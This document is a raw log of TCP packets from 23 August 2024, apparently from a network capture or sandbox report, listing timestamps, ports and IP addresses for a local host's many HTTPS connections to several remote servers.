Aug 23, 2024 16:21:47.578625917 CEST	443	49772	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:47.578706026 CEST	49772	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:47.620505095 CEST	443	49772	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:47.702756882 CEST	443	49772	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:47.702835083 CEST	443	49772	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:47.702939034 CEST	49772	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:47.703972101 CEST	49772	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:47.704005957 CEST	443	49772	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:50.144634962 CEST	443	49773	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.144818068 CEST	443	49773	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.144886971 CEST	49773	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.145807981 CEST	49773	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.145824909 CEST	443	49773	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.152734041 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.152755976 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.152832031 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.153151989 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.153165102 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.154570103 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.154603004 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.154668093 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.154922009 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.154934883 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.191169977 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:50.191216946 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:50.191312075 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:50.191526890 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:50.191538095 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:50.625541925 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.625852108 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.625881910 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.626347065 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.626718044 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.626802921 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.626883984 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.626898050 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.634232044 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.634623051 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.634639025 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.634995937 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.635329008 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.635438919 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:50.665549040 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:50.665817976 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:50.665852070 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:50.666934967 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:50.667028904 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:50.667339087 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:50.667402029 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:50.667501926 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:50.667512894 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:50.680331945 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:50.712306976 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:51.279881954 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.279975891 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.280041933 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.280071020 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.280220985 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.280282974 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.281841040 CEST	49775	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.281856060 CEST	443	49775	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.311948061 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.311991930 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.312097073 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.312693119 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.312705994 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.312951088 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.312983036 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.810250998 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.810558081 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.810585022 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.810965061 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.811263084 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.811331034 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.859355927 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.938180923 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.939877033 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.939960003 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.939960957 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.940010071 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.940514088 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.940532923 CEST	443	49774	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:51.940541983 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.940597057 CEST	49774	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.943500996 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:51.943578959 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.607750893 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.608351946 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.608381033 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.608406067 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.608412027 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.608445883 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.608462095 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.608772993 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.608799934 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.608817101 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.608824968 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.608859062 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.609607935 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.609662056 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.609698057 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.609707117 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.654365063 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.654398918 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.701337099 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.716093063 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.716413975 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.716447115 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.716473103 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.716485023 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.716495991 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.716526985 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.719228029 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.719254017 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.719321012 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:52.719338894 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:52.719381094 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.046859980 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.046921968 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.046963930 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.046984911 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.047019005 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.047070980 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.047822952 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.047875881 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.047908068 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.047919989 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.047925949 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.047966957 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.048896074 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.048952103 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.048986912 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.048995972 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.049002886 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.049056053 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.049061060 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.049743891 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.049784899 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.049812078 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.049814939 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.049830914 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.049860001 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.051055908 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.051088095 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.051104069 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.051110983 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.051157951 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.051165104 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.051975965 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.052030087 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.052036047 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.052048922 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.052094936 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.052102089 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.052293062 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.052342892 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.052350998 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.052395105 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.057286024 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.057317019 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.057357073 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.057363987 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.057388067 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.057410002 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.058131933 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.058171034 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.058206081 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.058211088 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.058259964 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.059015989 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.059055090 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.059078932 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.059087992 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.059098959 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.059102058 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.059151888 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.059158087 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.059201002 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.059917927 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.059988022 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.060786963 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.060851097 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.061630011 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.061691999 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.061697960 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.061741114 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.061744928 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.061798096 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.061846972 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.061953068 CEST	49777	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.061969042 CEST	443	49777	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.081223965 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.081248999 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.081340075 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.081496000 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.081522942 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.081578970 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.081908941 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.081916094 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.081965923 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.082194090 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.082206964 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.082257986 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.082412004 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.082420111 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.082473993 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.082643032 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.082648993 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.082695007 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.083604097 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.083616018 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.083811998 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.083833933 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.084100008 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.084112883 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.084239006 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.084249973 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.084388971 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.084399939 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.084613085 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.084630013 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.088104010 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:53.088135004 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:53.088211060 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:53.088376999 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:53.088388920 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:53.088713884 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.088771105 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:53.088857889 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.089019060 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.089050055 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:53.105813026 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:53.105849028 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:53.105926991 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:53.106123924 CEST	49786	443	192.168.2.16	13.227.219.11
Aug 23, 2024 16:21:53.106137991 CEST	443	49786	13.227.219.11	192.168.2.16
Aug 23, 2024 16:21:53.112574100 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.112610102 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.112679958 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.112718105 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.112726927 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.112780094 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.112916946 CEST	49787	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.112930059 CEST	443	49787	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.113059044 CEST	49788	443	192.168.2.16	65.9.86.83
Aug 23, 2024 16:21:53.113070011 CEST	443	49788	65.9.86.83	192.168.2.16
Aug 23, 2024 16:21:53.385832071 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:53.385921001 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:53.386018038 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:53.387396097 CEST	49776	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:53.387425900 CEST	443	49776	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:53.549494982 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.549823046 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.549841881 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.550856113 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.550931931 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.551315069 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.551393032 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.551491976 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.551503897 CEST	443	49780	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.552264929 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.552465916 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.552500010 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.552892923 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.553160906 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.553235054 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.553256035 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.553267956 CEST	443	49779	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.555632114 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.555810928 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.555819035 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.556838036 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.556909084 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.557142019 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.557199955 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.557235003 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.557240009 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.562110901 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.562340021 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.562360048 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.563361883 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.563437939 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.563693047 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.563751936 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.563798904 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.563807964 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.566984892 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.567184925 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.567192078 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.567519903 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.567811012 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.567868948 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.567893028 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.567900896 CEST	443	49778	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.578413963 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.578655005 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.578676939 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.579969883 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.580055952 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.580306053 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.580365896 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.580416918 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.580425024 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.591372013 CEST	49780	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.606336117 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.606338978 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.606338978 CEST	49779	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.606348991 CEST	443	49783	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.606372118 CEST	443	49782	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.622375011 CEST	49778	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.622375965 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.622411013 CEST	443	49781	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:53.653379917 CEST	49783	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.653384924 CEST	49782	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.669364929 CEST	49781	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:53.733025074 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:53.733313084 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.733340979 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:53.734751940 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:53.734842062 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.735280037 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.735433102 CEST	49785	443	192.168.2.16	142.250.186.36
Aug 23, 2024 16:21:53.735439062 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:53.735498905 CEST	443	49785	142.250.186.36	192.168.2.16
Aug 23, 2024 16:21:53.743630886 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:53.743865013 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:53.743876934 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:53.744904041 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:53.744965076 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:53.745932102 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:53.745982885 CEST	443	49784	140.82.121.3	192.168.2.16
Aug 23, 2024 16:21:53.746093988 CEST	49784	443	192.168.2.16	140.82.121.3
Aug 23, 2024 16:21:53.746098995 CEST	443	49784	140.82.121.3	192.168.2.16
